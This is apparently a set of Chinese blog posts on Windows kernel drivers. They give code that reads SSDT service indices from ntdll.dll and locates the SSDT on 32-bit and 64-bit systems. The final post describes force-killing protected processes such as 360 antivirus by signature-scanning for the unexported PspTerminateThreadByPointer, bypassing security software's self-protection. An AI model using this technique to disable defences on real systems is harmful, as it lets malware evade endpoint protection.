    最后,我们就可以根据 ntdll.dll 导出函数的地址,来获取 SSDT 函数索引号。
    其中,对于 32 位系统,ntdll.dll 导出函数总是以下面代码形式为开头:
    mov eax, 函数索引号(4字节)
    对于 64 位系统,ntdll.dll 导出函数总是以下面代码形式为开头:
    mov r10, rcx mov eax, 函数索引号(4字节)
    所以,我们对于 32 位系统,只需对导出函数偏移 1 字节处获取 4 字节的数据,那么这 4 字节的数据就是 SSDT 函数索引号;对于 64 位系统,在导出函数的偏移为 4 字节,也是获取 4 字节数据,这 4 字节的数据就是 SSDT 函数索引号。

    编码实现内存映射文件// 内存映射文件NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress){ NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; IO_STATUS_BLOCK iosb = { 0 }; PVOID pBaseAddress = NULL; SIZE_T viewSize = 0; // 打开 DLL 文件, 并获取文件句柄 InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(status)) { KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); return status; } // 创建一个节对象, 以 PE 结构中的 SectionALignment 大小对齐映射文件 status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); if (!NT_SUCCESS(status)) { ZwClose(hFile); KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); return status; } // 映射到内存 status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); if (!NT_SUCCESS(status)) { ZwClose(hSection); ZwClose(hFile); KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); return status; } // 返回数据 *phFile = hFile; *phSection = hSection; *ppBaseAddress = pBaseAddress; return status;}
    根据导出表获取导出函数地址及获取SSDT函数索引号// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; // Dos Header PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; // NT Header PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); // Export Table PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); // 有名称的导出函数个数 ULONG ulNumberOfNames = pExportTable->NumberOfNames; // 导出函数名称地址表 PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); PCHAR lpName = NULL; // 开始遍历导出表 for (ULONG i = 0; i < ulNumberOfNames; i++) { lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); // 判断是否查找的函数 if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) { // 获取导出函数地址 USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); // 获取 SSDT 函数 Index#ifdef _WIN64 ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4);#else ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1);#endif break; } } return ulFunctionIndex;}
    程序测试在 Win7 32 位系统下,驱动程序执行正常:

    在 Win10 64 位系统下,驱动程序执行正常:

    总结其中,我们要注意 3 个地方:
    一是,在调用 ZwCreateSection 函数的时候,第 6 个参数我们要设置为SEC_IMAGE,表示以 PE 结构中的 SectionALignment 大小对齐映射文件。这样映射到内存后,我们就可以直接从导出表中较为方便地获取 SSDT 函数索引值。
    二是,SSDT 函数索引号在 32 位系统下和 64 位系统下,在 ntdll.dll 的导出函数中的偏移是不同的。32 位系统中,SSDT 函数索引号在 ntdll.dll 导出函数偏移 1 字节处;64 位系统中,SSDT 函数索引号在 ntdll.dll 导出函数偏移 4 字节处。
    三是,内核下表示的文件或者目录路径要在路径前面加上 \??\,例如表示 C 盘下的 ntdll.dll文件路径:\??\C:\Windows\System32\ntdll.dll。
    参考参考自《Windows黑客编程技术详解》一书
    3  留言 2019-02-26 18:06:30
  • 64位系统上获取SSDT表地址以及从中获取指定SSDT函数的地址

    背景SSDT 全称为 System Services Descriptor Table,即系统服务描述符表。SSDT 表的作用就是把 ring3 的 WIN32 API 函数和 ring0 的内核 API 函数联系起来。对于ring3下的一些API,最终会对应于 ntdll.dll 里一个 Ntxxx 函数,例如 CreateFile,最终调用到 ntdll.dll 里的 NtCreateFile 这个函数。NtCreateFile最终将系统服务号放入EAX,然后 CALL 系统的服务分发函数 KiSystemService,进入到内核当中。从 ring3 到 ring0,最终在 ring0 当中通过传入的 EAX 得到对应的同名系统服务的内核地址,这样就完成了一次系统服务的调用。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。
    SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行 HOOK,从而实现对一些核心的系统动作进行过滤、监控的目的。一些HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。
    本质上,其实 SSDT 就是一个用来保存 Windows 系统服务地址的数组而已 。
    32 位系统和 64 位上,获取 SSDT 表的方式并不相同,获取 SSDT 表中的函数地址也不相同。现在,我就分别对其进行极讲解介绍,并形成文档。本文主要讲解的是 64 位系统下,编程实现获取 SSDT 表的地址,以及获取 SSDT 表函数对应的内核地址。
    实现原理获取 SSDT 表的地址在 64 位系统中,SSDT 表并没有在内核 Ntoskrnl.exe 中导出,所以,我们不能像 32 位那样直接获取导出符号 KeServiceDescriptorTable。所以,必须要使用其它方法获取。
    我们通过使用 WinDbg 在 Win7 x64、Win8.1 x64 等 64 位系统上逆向内核中的 KiSystemCall64 内核函数,逆向代码如下:
    // Win7 x64nt!KiSystemServiceRepeat:fffff800`03e8d772 4c8d15c7202300 lea r10,[nt!KeServiceDescriptorTable (fffff800`040bf840)]fffff800`03e8d779 4c8d1d00212300 lea r11,[nt!KeServiceDescriptorTableShadow (fffff800`040bf880)]… …(略)
    // Win8.1 x64nt!KiSystemServiceRepeat:fffff800`11b6c752 4c8d1567531f00 lea r10,[nt!KeServiceDescriptorTable (fffff800`11d61ac0)]fffff800`11b6c759 4c8d1da0531f00 lea r11,[nt!KeServiceDescriptorTableShadow (fffff800`11d61b00)]… …(略)
    我们从从上面的代码可以知道,KiSystemCall64 内核函数中,有调用到内核的 KeServiceDescriptorTable 以及 KeServiceDescriptorTableShadow。我们可以根据特征码 4c8d15 搜索内存方式,获取 KeServiceDescriptorTable 的偏移 offset,再计算出 KeServiceDescriptorTable 的地址,计算公式为:
    KeServiceDescriptorTable地址 = 特征码4c8d15地址 + 7 + offset
    注意,offset 可能为正,也可能为负,所以应该用有符号 4 字节数据类型来保存。
    对于 KiSystemCall64 内核函数地址的获取,虽然 Ntoskrnl.exe 也没有导出内核函数 KiSystemCall64,但是,我们可以根据下面代码获取:
    __readmsr(0xC0000082)
    直接通过读取指定的 msr 得出。msr 的中文全称是就是“特别模块寄存器”(model specific register),它控制 CPU 的工作环境和标示 CPU 的工作状态等信息(例如倍频、最大 TDP、 危险警报温度),它能够读取,也能够写入,但是无论读取还是写入,都只能在 ring 0 下进行。我们通过读取 0xC0000082 寄存器,能够得到 KiSystemCall64 的地址,然后从 KiSystemCall64 的地址开始,往下搜索特征码。
    获取 SSDT 表函数地址在 64 位下,SSDT 表的结构为:
    #pragma pack(1)typedef struct _SERVICE_DESCIPTOR_TABLE{ PULONG ServiceTableBase; // SSDT基址 PVOID ServiceCounterTableBase; // SSDT中服务被调用次数计数器 ULONGLONG NumberOfService; // SSDT服务个数 PVOID ParamTableBase; // 系统服务参数表基址}SSDTEntry, *PSSDTEntry;#pragma pack()
    和 32 位上不同的就是第 3 个成员 SSDT 服务个数 NumberOfService,由 4 字节变成了 8 字节。
    和 32 位系统不同的是,ServiceTableBase 中存放的并不是 SSDT 函数的完整地址。而是存放的是 ServiceTableBase[SSDT函数索引号]>>4 的偏移地址。那么,64 位下计算 SSDT 函数地址的完整公式为:
    ULONG ulOffset = (ServiceTableBase + SSDT函数索引号*4) >> 4;PVOID pSSDTFuncAddr = (PUCHAR)ServiceTableBase + ulOffset;// 或者ULONG ulOffset = ServiceTableBase[SSDT函数索引号] >> 4;PVOID pSSDTFuncAddr = (PUCHAR)ServiceTableBase + ulOffset;
    SSDT 函数索引号可以从 ntdll.dll 文件中获取,当 ring3 级 API 函数最终进入 ring0 级的时候,它会先将 SSDT函数索引号 mov 给 eax 寄存器。所以,我们获取 ntdll.dll 导出函数的地址,从中获取 SSDT 函数索引号。具体的实现过程分析过程,可以参考我写的《内核内存映射文件之获取SSDT函数索引号》这篇文章。
    编码实现获取SSDT函数索引号// 从 ntdll.dll 中获取 SSDT 函数索引号ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; PVOID pBaseAddress = NULL; // 内存映射文件 status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); if (!NT_SUCCESS(status)) { KdPrint(("DllFileMap Error!\n")); return ulFunctionIndex; } // 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号 ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); // 释放 ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); ZwClose(hSection); ZwClose(hFile); return ulFunctionIndex;}// 内存映射文件NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress){ NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; IO_STATUS_BLOCK iosb = { 0 }; PVOID pBaseAddress = NULL; SIZE_T viewSize = 0; // 打开 DLL 文件, 并获取文件句柄 InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(status)) { KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); return status; } // 创建一个节对象, 以 PE 结构中的 SectionALignment 大小对齐映射文件 status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); if (!NT_SUCCESS(status)) { ZwClose(hFile); KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); return status; } // 映射到内存 status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); if (!NT_SUCCESS(status)) { ZwClose(hSection); ZwClose(hFile); KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); return status; } // 返回数据 *phFile = hFile; *phSection = hSection; *ppBaseAddress = pBaseAddress; return status;}// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; // Dos Header PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; // NT Header PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); // Export Table PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); // 有名称的导出函数个数 ULONG ulNumberOfNames = pExportTable->NumberOfNames; // 导出函数名称地址表 PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); PCHAR lpName = NULL; // 开始遍历导出表 for (ULONG i = 0; i < ulNumberOfNames; i++) { lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); // 判断是否查找的函数 if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) { // 获取导出函数地址 USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); // 获取 SSDT 函数 Index#ifdef _WIN64 ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4);#else ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1);#endif break; } } return ulFunctionIndex;}
    获取SSDT表地址// 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址PVOID GetSSDTAddress(){ PVOID pServiceDescriptorTable = NULL; PVOID pKiSystemCall64 = NULL; UCHAR ulCode1 = 0; UCHAR ulCode2 = 0; UCHAR ulCode3 = 0; // 注意使用有符号整型 LONG lOffset = 0; // 获取 KiSystemCall64 函数地址 pKiSystemCall64 = (PVOID)__readmsr(0xC0000082); // 搜索特征码 4C8D15 for (ULONG i = 0; i < 1024; i++) { // 获取内存数据 ulCode1 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i)); ulCode2 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 1)); ulCode3 = *((PUCHAR)((PUCHAR)pKiSystemCall64 + i + 2)); // 判断 if (0x4C == ulCode1 && 0x8D == ulCode2 && 0x15 == ulCode3) { // 获取偏移 lOffset = *((PLONG)((PUCHAR)pKiSystemCall64 + i + 3)); // 根据偏移计算地址 pServiceDescriptorTable = (PVOID)(((PUCHAR)pKiSystemCall64 + i) + 7 + lOffset); break; } } return pServiceDescriptorTable;}
    获取SSDT函数地址// 获取 SSDT 函数地址PVOID GetSSDTFunction(PCHAR pszFunctionName){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pFunctionAddress = NULL; PSSDTEntry pServiceDescriptorTable = NULL; ULONG ulOffset = 0; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); // 根据特征码, 从 KiSystemCall64 中获取 SSDT 地址 pServiceDescriptorTable = GetSSDTAddress(); // 根据索引号, 从SSDT表中获取对应函数偏移地址并计算出函数地址 ulOffset = pServiceDescriptorTable->ServiceTableBase[ulSSDTFunctionIndex] >> 4; pFunctionAddress = (PVOID)((PUCHAR)pServiceDescriptorTable->ServiceTableBase + ulOffset); // 显示 DbgPrint("[%s][SSDT Addr:0x%p][Index:%d][Address:0x%p]\n", pszFunctionName, pServiceDescriptorTable, ulSSDTFunctionIndex, pFunctionAddress); return pFunctionAddress;}
    程序测试在 Win7 64 位系统下,驱动程序正常执行:

    在 Win10 64 位系统下,驱动程序正常执行:

    总结64 位下的 SSDT 表不再由 Ntoskrnl.exe 导出,我们需要从 KiSystemCall64 函数中扫描内存,计算出 KeServiceDescriptorTable 的地址。而且,SSDT 结构体的数据类型和含义也有些变化。ServiceTableBase 中并不存储完整的 SSDT 函数地址,这点要注意。
    对于 SSDT 函数索引号的获取,可以从 ntdll.dll 的导出函数中获取,因为 ntdll.dll 导出函数的开头,总是将 SSDT 函数索引号 mov 到 eax 寄存器,所以,我们可以直接根据 ntdll.dll 的导出函数地址,获取 SSDT 函数索引号。
    参考参考自《Windows黑客编程技术详解》一书
    2  留言 2019-02-25 23:13:46
  • 32位系统上获取SSDT表地址以及从中获取指定SSDT函数的地址

    背景SSDT 全称为 System Services Descriptor Table,即系统服务描述符表。SSDT 表的作用就是把 ring3 的 WIN32 API 函数和 ring0 的内核 API 函数联系起来。对于ring3下的一些API,最终会对应于 ntdll.dll 里一个 Ntxxx 函数,例如 CreateFile,最终调用到 ntdll.dll 里的 NtCreateFile 这个函数。NtCreateFile最终将系统服务号放入EAX,然后 CALL 系统的服务分发函数 KiSystemService,进入到内核当中。从 ring3 到 ring0,最终在 ring0 当中通过传入的 EAX 得到对应的同名系统服务的内核地址,这样就完成了一次系统服务的调用。SSDT 并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基地址、服务函数个数等。
    SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行 HOOK,从而实现对一些核心的系统动作进行过滤、监控的目的。一些HIPS、防毒软件、系统监控、注册表监控软件往往会采用此接口来实现自己的监控模块。
    本质上,其实 SSDT 就是一个用来保存 Windows 系统服务地址的数组而已 。
    32 位系统和 64 位上,获取 SSDT 表的方式并不相同,获取 SSDT 表中的函数地址也不相同。现在,我就分别对其进行极讲解介绍,并形成文档。本文主要讲解的是 32 位系统下,编程实现获取 SSDT 表的地址,以及获取 SSDT 表函数对应的内核地址。
    实现原理获取 SSDT 表的地址在 32 位系统中,SSDT 表是内核 Ntoskrnl.exe 导出的一张表,导出符号为 KeServiceDescriptorTable,该表含有一个指针指向SSDT中包含 Ntoskrnl.exe 实现的核心服务。所以,我们要想在 32 位系统上获取 SSDT 表地址,直接获取 Ntoskrnl.exe 导出符号 KeServiceDescriptorTable 即可。
    SSDT 表结构为:
    #pragma pack(1)typedef struct _SERVICE_DESCIPTOR_TABLE{ PULONG ServiceTableBase; // SSDT基址 PULONG ServiceCounterTableBase;// SSDT中服务被调用次数计数器 ULONG NumberOfService; // SSDT服务个数 PUCHAR ParamTableBase; // 系统服务参数表基址}SSDTEntry, *PSSDTEntry;#pragma pack()
    所以,从 Ntoskrnl.exe 获取导出符号 KeServiceDescriptorTable 的代码如下:
    extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable;
    获取 SSDT 表函数地址在 32 位系统中,SSDT 包含了所有内核导出函数的地址。每个地址长度为 4 字节。所以要获得 SSDT 中某个函数的地址,如下代码所示:
    KeServiceDescriptorTable.ServiceTableBase + SSDT函数索引号*4 // 或者KeServiceDescriptorTable.ServiceTableBase[SSDT函数索引号]
    SSDT 函数索引号可以从 ntdll.dll 文件中获取,当 ring3 级 API 函数最终进入 ring0 级的时候,它会先将 SSDT函数索引号 mov 给 eax 寄存器。所以,我们获取 ntdll.dll 导出函数的地址,从中获取 SSDT 函数索引号。具体的实现过程分析过程,可以参考我写的《内核内存映射文件之获取SSDT函数索引号》这篇文章。
    编码实现获取SSDT函数索引号// 从 ntdll.dll 中获取 SSDT 函数索引号ULONG GetSSDTFunctionIndex(UNICODE_STRING ustrDllFileName, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; PVOID pBaseAddress = NULL; // 内存映射文件 status = DllFileMap(ustrDllFileName, &hFile, &hSection, &pBaseAddress); if (!NT_SUCCESS(status)) { KdPrint(("DllFileMap Error!\n")); return ulFunctionIndex; } // 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号 ulFunctionIndex = GetIndexFromExportTable(pBaseAddress, pszFunctionName); // 释放 ZwUnmapViewOfSection(NtCurrentProcess(), pBaseAddress); ZwClose(hSection); ZwClose(hFile); return ulFunctionIndex;}// 内存映射文件NTSTATUS DllFileMap(UNICODE_STRING ustrDllFileName, HANDLE *phFile, HANDLE *phSection, PVOID *ppBaseAddress){ NTSTATUS status = STATUS_SUCCESS; HANDLE hFile = NULL; HANDLE hSection = NULL; OBJECT_ATTRIBUTES objectAttributes = { 0 }; IO_STATUS_BLOCK iosb = { 0 }; PVOID pBaseAddress = NULL; SIZE_T viewSize = 0; // 打开 DLL 文件, 并获取文件句柄 InitializeObjectAttributes(&objectAttributes, &ustrDllFileName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); status = ZwOpenFile(&hFile, GENERIC_READ, &objectAttributes, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT); if (!NT_SUCCESS(status)) { KdPrint(("ZwOpenFile Error! [error code: 0x%X]", status)); return status; } // 创建一个节对象, 以 PE 结构中的 SectionALignment 大小对齐映射文件 status = ZwCreateSection(&hSection, SECTION_MAP_READ | SECTION_MAP_WRITE, NULL, 0, PAGE_READWRITE, 0x1000000, hFile); if (!NT_SUCCESS(status)) { ZwClose(hFile); KdPrint(("ZwCreateSection Error! [error code: 0x%X]", status)); return status; } // 映射到内存 status = ZwMapViewOfSection(hSection, NtCurrentProcess(), &pBaseAddress, 0, 1024, 0, &viewSize, ViewShare, MEM_TOP_DOWN, PAGE_READWRITE); if (!NT_SUCCESS(status)) { ZwClose(hSection); ZwClose(hFile); KdPrint(("ZwMapViewOfSection Error! [error code: 0x%X]", status)); return status; } // 返回数据 *phFile = hFile; *phSection = hSection; *ppBaseAddress = pBaseAddress; return status;}// 根据导出表获取导出函数地址, 从而获取 SSDT 函数索引号ULONG GetIndexFromExportTable(PVOID pBaseAddress, PCHAR pszFunctionName){ ULONG ulFunctionIndex = 0; // Dos Header PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBaseAddress; // NT Header PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((PUCHAR)pDosHeader + pDosHeader->e_lfanew); // Export Table PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((PUCHAR)pDosHeader + pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress); // 有名称的导出函数个数 ULONG ulNumberOfNames = pExportTable->NumberOfNames; // 导出函数名称地址表 PULONG lpNameArray = (PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfNames); PCHAR lpName = NULL; // 开始遍历导出表 for (ULONG i = 0; i < ulNumberOfNames; i++) { lpName = (PCHAR)((PUCHAR)pDosHeader + lpNameArray[i]); // 判断是否查找的函数 if (0 == _strnicmp(pszFunctionName, lpName, strlen(pszFunctionName))) { // 获取导出函数地址 USHORT uHint = *(USHORT *)((PUCHAR)pDosHeader + pExportTable->AddressOfNameOrdinals + 2 * i); ULONG ulFuncAddr = *(PULONG)((PUCHAR)pDosHeader + pExportTable->AddressOfFunctions + 4 * uHint); PVOID lpFuncAddr = (PVOID)((PUCHAR)pDosHeader + ulFuncAddr); // 获取 SSDT 函数 Index#ifdef _WIN64 ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 4);#else ulFunctionIndex = *(ULONG *)((PUCHAR)lpFuncAddr + 1);#endif break; } } return ulFunctionIndex;}
    获取SSDT表地址#pragma pack(1)typedef struct _SERVICE_DESCIPTOR_TABLE{ PULONG ServiceTableBase; // SSDT基址 PULONG ServiceCounterTableBase; // SSDT中服务被调用次数计数器 ULONG NumberOfService; // SSDT服务个数 PUCHAR ParamTableBase; // 系统服务参数表基址}SSDTEntry, *PSSDTEntry;#pragma pack()// 直接获取 SSDT extern SSDTEntry __declspec(dllimport) KeServiceDescriptorTable;
    获取SSDT函数地址// 获取 SSDT 函数地址PVOID GetSSDTFunction(PCHAR pszFunctionName){ UNICODE_STRING ustrDllFileName; ULONG ulSSDTFunctionIndex = 0; PVOID pFunctionAddress = NULL; RtlInitUnicodeString(&ustrDllFileName, L"\\??\\C:\\Windows\\System32\\ntdll.dll"); // 从 ntdll.dll 中获取 SSDT 函数索引号 ulSSDTFunctionIndex = GetSSDTFunctionIndex(ustrDllFileName, pszFunctionName); // 根据索引号, 从SSDT表中获取对应函数地址 pFunctionAddress = (PVOID)KeServiceDescriptorTable.ServiceTableBase[ulSSDTFunctionIndex]; // 显示 DbgPrint("[%s][Index:%d][Address:0x%p]\n", pszFunctionName, ulSSDTFunctionIndex, pFunctionAddress); return pFunctionAddress;}
    程序测试在 Win7 32 位系统下,驱动程序正常执行:

    在 Win10 32 位系统下,驱动程序正常执行:

    总结32 位下的 SSDT 表已经由 Ntoskrnl.exe 导出,我们直接获取导出符号 KeServiceDescriptorTable 就能获取 SSDT 表。其中,要注意 SSDT 结构体是按 1 字节大小对齐的。
    对于 SSDT 函数索引号的获取,可以从 ntdll.dll 的导出函数中获取,因为 ntdll.dll 导出函数的开头,总是将 SSDT 函数索引号 mov 到 eax 寄存器,所以,我们可以直接根据 ntdll.dll 的导出函数地址,获取 SSDT 函数索引号。
    参考参考自《Windows黑客编程技术详解》一书
    1  留言 2019-02-24 20:56:20
  • 查找并使用PspTerminateThreadByPointer函数强制结束进程可以杀360进程

    背景学习计算机的同学,或多或少都会有一个黑客情节。总是会想成为一个无拘无束的“黑客”,探索计算机世界里技术的边缘,挑战一切规则与界限。其实,正如电影《东邪西毒》里欧阳峰说的:“人都会经历这个阶段,看见一座山,就想知道山后面是什么。我很想告诉ta,可能翻过去山后面,你会发觉没有什么特别,回头看会觉得这边更好”。
    本文要介绍的就是在内核下实现,强制关掉指定进程,甚至可以关闭 360、QQ 等进程。这个技术,虽不能让你成为一名“黑客”,或许可以让你感受一把“黑科技”的瘾。现在,我就把实现过程和原理整理成文档,分享给大家。该程序适用于 32 位和 64 位 Win7 到 Win10 全平台系统。
    实现过程我们知道,线程是进程中执行运算的最小单位,是进程中的一个实体,是被系统独立调度和分派的基本单位,线程自己不拥有系统资源,只拥有一点在运行中必不可少的资源,但它可与同属一个进程的其它线程共享进程所拥有的全部资源。一个线程可以创建和撤消另一个线程,同一进程中的多个线程之间可以并发执行。
    也就是说,当一个进程中的所有线程都被结束的时候,这个进程也就没有了存在的意义,也随之结束了。这,便是我们本文介绍的这种强制杀进程的实现原理,即把进程中的线程都杀掉,从而让进程消亡,实现间接杀进程的效果。
    Windows 提供了一个导出的内核函数 PsTerminateSystemThread 来帮助我们结束线程,所以,类似 360、QQ 等也会对重点监测该函数,防止结束自己的线程。我们通过逆向 PsTerminateSystemThread 函数,可以发现该函数实际上调用了未导出的内核函数 PspTerminateThreadByPointer 来实现的结束线程的操作。所以,我们可以通过查找 PspTerminateThreadByPointer 函数地址,调用直接它来结束线程,就可以绕过绝大部分的进程保护,实现强制杀进程。
    PspTerminateThreadByPointer 的函数声明为:
    NTSTATUS PspTerminateThreadByPointer ( PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate );
    但要注意,PspTerminateThreadByPointer 的函数指针的声明的调用约定:
    // 32 位typedef NTSTATUS(*PSPTERMINATETHREADBYPOINTER_X86) ( PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate );// 64 位typedef NTSTATUS(__fastcall *PSPTERMINATETHREADBYPOINTER_X64) ( PETHREAD pEThread, NTSTATUS ntExitCode, BOOLEAN bDirectTerminate );
    其中,PsTerminateSystemThread 里会调用 PspTerminateThreadByPointer 函数。我们使用 WinDbg 逆向 Win8.1 x64 里的 PsTerminateSystemThread 函数,如下所示:
    nt!PsTerminateSystemThread:fffff800`83904518 8bd1 mov edx,ecxfffff800`8390451a 65488b0c2588010000 mov rcx,qword ptr gs:[188h]fffff800`83904523 f7417400080000 test dword ptr [rcx+74h],800hfffff800`8390452a 7408 je nt!PsTerminateSystemThread+0x1c (fffff800`83904534)fffff800`8390452c 41b001 mov r8b,1fffff800`8390452f e978d9fcff jmp nt!PspTerminateThreadByPointer (fffff800`838d1eac)fffff800`83904534 b80d0000c0 mov eax,0C000000Dhfffff800`83904539 c3 ret
    由上面代码可以知道,我们可以通过扫描 PsTerminateSystemThread 内核函数中的特征码,从而获取 PspTerminateThreadByPointer 函数的偏移,再根据偏移计算出该函数的地址。其中,不同系统中的特征码也会不同,下面是我使用 WinDbg 逆向各个系统上总结的特征码的情况:




    Win 7
    win 8.1
    win 10




    32 位
    0xE8
    0xE8
    0xE8


    64 位
    0xE8
    0xE9
    0xE9



    那么,我们强制杀进程的实现原理为:

    首先,根据特征码扫描内存,获取 PspTerminateThreadByPointer 函数地址
    然后,调用 PsLookupProcessByProcessId 函数,根据将要结束进程 ID 获取对应的进程结构对象 EPROCESS
    接着,遍历所有的线程 ID,并调用 PsLookupThreadByThreadId 函数根据线程 ID 获取对应的线程结构 ETHREAD
    然后,调用函数 PsGetThreadProcess 获取线程结构 ETHREAD 对应的进程结构 EPROCESS
    这时,我们可以通过判断该进程是不是我们指定要结束的进程,若是,则调用 PspTerminateThreadByPointer 函数结束线程;否则,继续遍历下一个线程 ID
    重复上述 3、4、5 的操作,直到线程遍历完毕

    这样,我们就可以查杀指定进程的所有线程,线程被结束之后,进程也随之结束。注意的是,当调用 PsLookupProcessByProcessId 和 PsLookupThreadByThreadId 等 LookupXXX 系列函数获取对象的时候,都需要调用 ObDereferenceObject 函数释放对象,否则在某些时候会造成蓝屏。
